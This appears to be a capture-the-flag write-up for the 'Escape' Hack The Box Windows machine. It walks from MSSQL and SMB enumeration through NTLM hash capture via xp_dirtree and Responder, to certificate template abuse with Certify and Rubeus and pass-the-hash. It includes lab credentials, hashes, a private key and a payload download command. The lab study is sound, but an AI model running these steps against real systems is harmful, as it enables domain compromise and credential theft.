Escape

Medium windows box that includes stealing NTLM hash through mssql, passwords in logs files and privilege escalation via certificate template!

Credentials

Username

Password

Description

PublicUser

GuestUserCantWrite1

MS SQL password

sql_svc

REGGIE1234ronnie

AD Account responsible for running database server

ryan.cooper

NuclearMosquito3

Active directory user found in SQLServer logs

Administartor

A52F78E4C751E5F5E17E1E9F3E58F4EE

NTLM hash

Enumeration

Nmap Scan


┌──(kali㉿kali)-[~/Documents/CTFs/HTB_Escape]
└─$ sudo nmap -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,49667,49689,49690,49710,49714,59666 -A -T4 10.10.11.202 -oA nmap_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 13:23 EDT
Nmap scan report for 10.10.11.202
Host is up (0.038s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-06-05 01:23:05Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
| ms-sql-ntlm-info:
|   10.10.11.202:1433:
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: dc.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-06-02T13:28:16
|_Not valid after:  2053-06-02T13:28:16
| ms-sql-info:
|   10.10.11.202:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-05T01:24:35+00:00; +7h59m23s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
59666/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-06-05T01:23:57
|_  start_date: N/A
|_clock-skew: mean: 7h59m23s, deviation: 0s, median: 7h59m22s

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   39.26 ms 10.10.14.1
2   39.43 ms 10.10.11.202

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.96 seconds

SMB Shares

└─$ smbclient -L //10.10.11.202                
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Public          Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.

There is one non-default share Public after trying to connect to it there is PDF file.

└─$ smbclient \\\\10.10.11.202\\Public
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 19 06:51:25 2022
  ..                                  D        0  Sat Nov 19 06:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 08:39:43 2022

                5184255 blocks of size 4096. 1394427 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (211.3 KiloBytes/sec) (average 211.3 KiloBytes/sec)

SQL Server Procedures.pdf

This pdf contain some information about connecting to SQL database without Active Directory account.

MS SQL

For connection to database I used impacket-mssql script

└─$ impacket-mssqlclient PublicUser:GuestUserCantWrite1@10.10.11.202                      
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

Databases

SQL> SELECT name FROM master.dbo.sysdatabases;
name                                                                       
--------   
master
tempdb
model
msdb

master, tempdb, msdb are default databases used by mssql and to model table there is no permission for current user.

SQL> use model;
[-] ERROR(DC\SQLMOCK): Line 1: The server principal "PublicUser" is not able to access the database "model" under the current security context.
SQL>

Permissions

SQL> use master;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
SQL> EXEC sp_helprotect 'xp_cmdshell';
[-] ERROR(DC\SQLMOCK): Line 291: There are no matching rows on which to report.
SQL> EXEC sp_helprotect 'xp_dirtree';
Owner    Object                 Grantee        Grantor   ProtectType   Action           Column   

------   --------------------   ------------   -------   -----------   --------------   ------   
sys      xp_dirtree             public         dbo       b'Grant     '   Execute          .        

SQL> EXEC sp_helprotect 'xp_subdirs';
[-] ERROR(DC\SQLMOCK): Line 291: There are no matching rows on which to report.
SQL> EXEC sp_helprotect 'xp_fileexist';
Owner    Object                     Grantee        Grantor   ProtectType   Action           Column   

------   ------------------------   ------------   -------   -----------   --------------   ------   
sys      xp_fileexist               public         dbo       b'Grant     '   Execute          .

Current user can't execute xp_cmdshell - this allows running shell commands on database server directly through database.

But there is permission for xp_dirtree command and this can be used to steal NTLM hash of user that is running database server.

This should be also possible with xp_fileexist but I had no luck with that function.

Stealing NTLM hash

Setting up Responder

Responder is software that talk with most of the protocols it is focused on stealing hashes and credentials.


┌──(kali㉿kali)-[~/Documents/CTFs/HTB_Escape]
└─$ sudo responder -I tun0
[sudo] password for kali:
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.109]
    Responder IPv6             [dead:beef:2::106b]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-NCM14VQ3QD4]
    Responder Domain Name      [KHXV.LOCAL]
    Responder DCE-RPC Port     [47910]

[+] Listening for events...

Getting hash

I used hashcat to crack this password

SQL_SVC::sequel:165adba2f72196b4:234852d74a0d58c260ce5577acc6f438:0101000000000000805e00a0eb96d90171dc1bd568df768700000000020008004b0048005800560001001e00570049004e002d004e0043004d003100340056005100330051004400340004003400570049004e002d004e0043004d00310034005600510033005100440034002e004b004800580056002e004c004f00430041004c00030014004b004800580056002e004c004f00430041004c00050014004b004800580056002e004c004f00430041004c0007000800805e00a0eb96d901060004000200000008003000300000000000000000000000003000002cb0bb94a9e9e7bd19c707d616a61d3873bc5dfaf1edda63c326f7b581e0d7180a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100300039000000000000000000:REGGIE1234ronnie

So password for sql_svc account is REGGIE1234ronnie

Foothold

Acquired credentials have permissions to conect via remote access.

Enumeration

I have run winpeas but there is nothing special in there. So next step was manual enumeration.

As there was nothing in home direcotry of sql_svc user and SQLServer is only one non-default directory (because of running MS SQL server) I started looking around. Only semi-interesting file is ERRORLOG.BAK Located at C:\SQLServer\Logs

In there is password for user ryan.cooper

Log states Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

Next entry is Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

NuclearMosquito3 looks like a password so this is propably a typo from user side and he type password in username field.

This was indeed password for ryan.cooper user and this allowed for login in his account

Privilege Escalation

I have ran winpeas again but no luck there. Additionaly I gathered information about domain with Sharphound to analyze permissions and connections in Bloodhound but again no luck.

But there is this trend in windows enviroment that switch for certificate authorization. There are many things that can go wrong e.g. certificate template with too wide permissions.

To certificate be vulnerable some specyfic flags need to be set:

msPKI-Certificate-Name-Flag set to ENROLLEE_SUPPLIES_SUBJECT this means that user requesting certificate can specify subject - effectively a user that will be authenticated
Access Rights needs to Allows Enroll to NT AUTHORITY\Authenticated Users this means any logged in user can request certificate
pkiextendedkeyusage needs to have set Client Authentication to allows impersonating another user

From Misconfigured Certificate Template to Domain Admin | Red Team Noteswww.ired.team

AD CS Domain Escalation - HackTricksbook.hacktricks.xyz

Vulnerable Certificate Template

For detecting any vulnerable certificate template there is handy tool Certify

Unexpected error with integration github-files: Integration is not installed on this space


Certify completed in 00:00:00.0041996
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Certify.exe find /vulnerable

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'

[*] Listing info about the Enterprise CA 'sequel-DC-CA'

    Enterprise CA Name            : sequel-DC-CA
    DNS Hostname                  : dc.sequel.htb
    FullName                      : dc.sequel.htb\sequel-DC-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=sequel-DC-CA, DC=sequel, DC=htb
    Cert Thumbprint               : A263EA89CAFE503BB33513E359747FD262F91A56
    Cert Serial                   : 1EF2FA9A7E6EADAD4F5382F4CE283101
    Cert Start Date               : 11/18/2022 12:58:46 PM
    Cert End Date                 : 11/18/2121 1:08:46 PM
    Cert Chain                    : CN=sequel-DC-CA,DC=sequel,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
      Allow  ManageCA, ManageCertificates               sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
    Enrollment Agent Restrictions : None

[!] Vulnerable Certificates Templates :

    CA Name                               : dc.sequel.htb\sequel-DC-CA
    Template Name                         : UserAuthentication
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Secure Email
    mspki-certificate-application-policy  : Client Authentication, Encrypting File System, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Domain Users           S-1-5-21-4078382237-1492182817-2568127209-513
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
        WriteOwner Principals       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519



Certify completed in 00:00:10.2010590

Generating new certificate for Administrator account

Certify can be used to requesting new certificate for this this flags need to be supplied:

/ca CA Name from previous Ceritfy output
/template template name to use here UserAuthentication
/altname name of user to impersonate

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Request a Certificates

[*] Current user context    : sequel\Ryan.Cooper
[*] No subject name specified, using current context as subject.

[*] Template                : UserAuthentication
[*] Subject                 : CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] AltName                 : Administrator

[*] Certificate Authority   : dc.sequel.htb\sequel-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 20

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAtD1rsAxFkeV1cn6eKQJy7kXxYrFObMMcpJYOTaZYlbt+vfmF
wR5SK+uCrIjTwbI9fmmixZp6wboBrG9MTNOB28JuOjY2j+GPCF4ANGMSFYYAqvGG
3VFnRVkC2HqhH8waes4jHsEuaGBOuNYijQZ2BmMHif6l2K4cqKcBRMD0LSP8GOLq
midiTW0i7IFLJlUwnfQ/I3vFW/lcLTypenZGumAC8V+ehGRoLbPCnlKgf0hVaY5Z
Mvymb3+Nirqaj66vlhnIBT/ephhsBIbNSxuh0RNGVqaJXcx92QxFOuT4uTFRyzRJ
q56JH1EL5BNeCKQ7IZGpGtW0CwBcUBtz1Wa08QIDAQABAoIBAB1+P3TbTTcGeSV3
GqJTSEM9JrajlNWvR6yW8Vg7dBtsRt0HS5/COmf9bbCV4zC63d0lpAD5ukShD00M
GUwpAALZ2fekj2ET47fWyenInFjxSIKwawUkIOX0HscVqe/uEhcuTAjoS5PAzqDo
SVcSS5XX9o/aH4FJXF8slMSPXmVUS3HpddQ0TDAeLckC6QGZuagMQzo1mvT6GjIB
KRVNkfpMUBVIsOnHxHz0g2YsVqiweVdKWl6MV1G1lrCa04q7FzIJcfZPIpi0BV3N
6sRxSUPm+D84azBFhgVx34SjZG8yiYjcYfEkvtsfmD4NCRXe685knYN59v+oLL3r
uVGKZhECgYEAwmkl+Zi52dx/Q3DeJmghM1H7biJIdj0QTJR3OkXFugwhSgx9MVoW
vL+3YC6VZbcI8D3a9HqaSC7ncPiTYwaYh0E6gGxtDx224roDVvoRgos0SWlvKOMK
sYI/nj0dBa97PvDFg1vSyez/ia2S6Wt+CJ68p1603pWcs5oiDa/U0zcCgYEA7VcC
XdIcdJHpPoL5IQG+FL6CnwGP/7WooIsJWOYKa3RTSmC2WsXVx5S6xtMNOke+P6Zo
lnKEy1hA08H0s3CssbXGpOS1kfKYZEtLZdYllOJeRK4t3b3eAe6HyIrvveKug0Fq
yvRBYvWgNHKITlmLX4yoOciN0hPqw2Wooqe5nRcCgYEAtR1+WmR1KEjqaur4mvFB
lO0YfwcDWNwUljNuS+R6i5QHY1P1Qgf6zMcS0FE1r3fwpNgLZt3dY8gGp9F8hbG8
Ya1cEg5xH7cADYNb3yjDLUoAYTAPdhjmem6sU//9TLGp8P4gE/t0idf4TMxe5ITW
+rLfcFGj0QWy4gODHBsl+8sCgYByLXGOAQ5/ZdJ3qDqBjn0LLbtZEz9bHOFKmpic
k85fc06+cVhIwvPdV8ei7tVmPC1iIYQfHGiWCpblSGGYEZSCyZgOq5hN5g858J8N
FsBtp5kCIWkfS8AJ3d6ks3IyP2ME8euWR3tNSC0SDidUye8qwFgNtFXFwp8l8Tn3
RgkdcQKBgGvxLeNCfW0GDExssBxNMHyCamPYYBt8gB8tvCPm5K2e2AlkkI6PpAi0
8K1VTjA5t7R+c5eCesMPkEkiMQTip9XXmQ8HtHLZNk04u/ssjfYNdpNYQJ98OQkR
ymjs/j9GLGPayk2cu5ISlBfJsV/hlXpVSXnhF13+CbAZCYAqouSs
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAABSCZGG5pAEHoAAAAAAAFDANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjMwNjA1MDI0MzA2WhcNMjUwNjA1
MDI1MzA2WjBTMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYG
c2VxdWVsMQ4wDAYDVQQDEwVVc2VyczEUMBIGA1UEAxMLUnlhbi5Db29wZXIwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC0PWuwDEWR5XVyfp4pAnLuRfFi
sU5swxyklg5NpliVu369+YXBHlIr64KsiNPBsj1+aaLFmnrBugGsb0xM04Hbwm46
NjaP4Y8IXgA0YxIVhgCq8YbdUWdFWQLYeqEfzBp6ziMewS5oYE641iKNBnYGYweJ
/qXYrhyopwFEwPQtI/wY4uqaJ2JNbSLsgUsmVTCd9D8je8Vb+VwtPKl6dka6YALx
X56EZGgts8KeUqB/SFVpjlky/KZvf42KupqPrq+WGcgFP96mGGwEhs1LG6HRE0ZW
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AAOCAQEAptrMzr5SdcrSz7X2tZaG0facDC7iWBH8Fi3T/77VOsfZklXEdAE1VKar
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5O/QjdXeZShu7lqfyXj1Vbpo5+8UeDWd3OM4y4O/O1rltDuy2n0GNf7RWusiBOOF
BF1Xy1TV7MJqnidmafvDp5X+gE0X6g==
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:13.1282912

After converting certificate in PEM to right format with openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx as suggested in Certify output it need to be transfered back to windows box.

I did it by setting up python web server python -m http.server and downloading it on windows box IWR http://10.10.14.109:8000/cert.pfx -Outfile cert.pfx

With certificate on the disk next we need Rubeus to interact with Kerberos and request ticket for Administrator account using generated certificate.

asktgt mode responsible for requesting TGT tickests
/user: user to impersonate
/certificate: previously generated certificate fiel
/getcredentials print NTLM hash that can be used for PassTheHash attack

SharpCollection/NetFramework_4.7_Any/Rubeus.exe at master · Flangvik/SharpCollectionGitHub

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents\asdf> .\rubues.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\Administrator'
[*] Using domain controller: fe80::3558:2ba9:e47e:5a3d%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGSDCCBkSgAwIBBaEDAgEWooIFXjCCBVphggVWMIIFUqADAgEFoQwbClNFUVVFTC5IVEKiHzAdoAMC
      AQKhFjAUGwZrcmJ0Z3QbCnNlcXVlbC5odGKjggUaMIIFFqADAgESoQMCAQKiggUIBIIFBOgiufCBse7J
      5F8J8/y+bWsslwi+sLm7ZFtoFOeZILQ1bl1lj+VBeOO9N9k8a9hQW8YPCHBouviKTTjjp+E8lYPuyrGz
      B/SpDJfKCXVMLjsYrt+4kaIYC6Qg3iFJHN2pO9dMnpAqqTD0JKTfQJ41MFVE+sdQ8IzyT6UjKWV+iycb
      X1EY4Hv8igRMv6APGzUU8wUBflJKgCsdkpQRUCM6GL2BHcP0YGqcZ04sNPm+xZQUPQDcJ/nGvo8m7tCV
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      a036onOM372vUe5vkIS9QEqxokvicS9r/SRivCmPXJrRaWdJFEVmKU/XOx5JQLhZK5N4GVYEcIKqCLGX
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      BwMFAADhAAClERgPMjAyMzA2MDUwMzExMjBaphEYDzIwMjMwNjA1MTMxMTIwWqcRGA8yMDIzMDYxMjAz
      MTEyMFqoDBsKU0VRVUVMLkhUQqkfMB2gAwIBAqEWMBQbBmtyYnRndBsKc2VxdWVsLmh0Yg==

  ServiceName              :  krbtgt/sequel.htb
  ServiceRealm             :  SEQUEL.HTB
  UserName                 :  Administrator
  UserRealm                :  SEQUEL.HTB
  StartTime                :  6/4/2023 8:11:20 PM
  EndTime                  :  6/5/2023 6:11:20 AM
  RenewTill                :  6/11/2023 8:11:20 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable
  KeyType                  :  rc4_hmac
  Base64(key)              :  uqt9aqvfFtqkBZJd2Pv7xg==
  ASREP (key)              :  9098E4AA6D67E86FEDAE485818F2ECF3

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : A52F78E4C751E5F5E17E1E9F3E58F4EE //Here is NTLM hash that need to be used for PassTheHash attack

Getting Administrator access

Hash obtained from Rubeus can be used for PassTheHash attack if there is NTLM authentication enabled.

For this evil-winrm can be used with -H flag that takes NTLM hash

PreviousWindows NextLinux

Last updated 2 years ago

hashtagCredentials

hashtagEnumeration

hashtagNmap Scan

hashtagSMB Shares

hashtagSQL Server Procedures.pdf

hashtagMS SQL

hashtagDatabases

hashtagPermissions

hashtagStealing NTLM hash

hashtagSetting up Responder

hashtagGetting hash

hashtagFoothold

hashtagEnumeration

hashtagPrivilege Escalation

hashtagVulnerable Certificate Template

hashtagGenerating new certificate for Administrator account

hashtagGetting Administrator access

Credentials

Enumeration

Nmap Scan

SMB Shares

SQL Server Procedures.pdf

MS SQL

Databases

Permissions

Stealing NTLM hash

Setting up Responder

Getting hash

Foothold

Enumeration

Privilege Escalation

Vulnerable Certificate Template

Generating new certificate for Administrator account

Getting Administrator access